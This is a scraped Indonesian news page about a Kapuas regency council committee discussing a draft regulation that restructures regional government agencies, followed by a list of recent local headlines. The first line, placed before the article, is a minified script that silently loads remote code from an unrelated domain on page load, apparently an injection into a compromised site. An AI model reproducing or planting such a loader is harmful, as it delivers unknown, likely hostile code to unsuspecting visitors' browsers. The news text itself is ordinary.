(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pansus II DPRD Kapuas Gelar Rapat, Ini Raperda yang Dibahas


KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas menggelar rapat pembahasan Rancangan Peraturan Daerah (Raperda) tentang perubahan kedua atas Perda Nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah, Kamis (25/4/2024) siang.

Rapat pembahasan berlangsung di ruang rapat gabungan komisi dipimpin Anggota DPRD Kapuas, Darwandie. Rapat dihadiri sejumlah anggota Pansus dan kepala organisasi perangkat daerah terkait.

Menurut Darwandie dalam proses pembentukan Raperda ada beberapa tahapan yang harus dilalui. Pertama adalah tahapan perencanaan Perda itu sendiri.

Baca juga: Kasus Cuci Uang Narkoba Fredy Pratama, Sang Ayah Divonis 20 Bulan Penjara 

“Selain tahapan perencanaan juga ada tahapan pembahasan, penetapan dan pembentukan Perda. Hari ini kita pada posisi pembahasan,” ujarnya.

Darwandie mengatakan setelah dilakukan perubahan kedua atas Perda 10 tahun 2016, maka nanti struktur organisasi di lingkup Pemerintahan Kabupaten (Pemkab) Kapuas akan mengalami perubahan.

“Yang pertama akan ada penambahan dinas baru, itu direncanakan. Kemudian juga nomenklatur di Bappeda juga akan berubah,” katanya.

Baca juga: Lepas Kafilah ke MTQ Provinsi, Bupati Banjar Optimistis Juara Umum Lagi

Masih lanjut Darwandie, kalau dulu Bappeda ada perencanaan dan penelitian atau litbang, nanti tidak ada lagi, diubah menjadi pembentukan badan riset dan inovasi daerah (Brida).

“Jadi, Brida ini sebenarnya dalam amanahnya bisa dibentuk lembaga tersendiri atau bisa juga masih gabung di Bappeda, tapi dia akan lebih luas lagi kewenangannya,” beber Darwandie.

“Karena nanti di daerah ini perencanaan pembangunan itu diawali hasil riset dulu. Kemudian dilakukan perencanaan melalui beberapa mekanisme seperti musrenbang, pokok pikiran DPRD dan lain sebagainya,” pungkas Darwandie. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

10 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

18 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

22 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.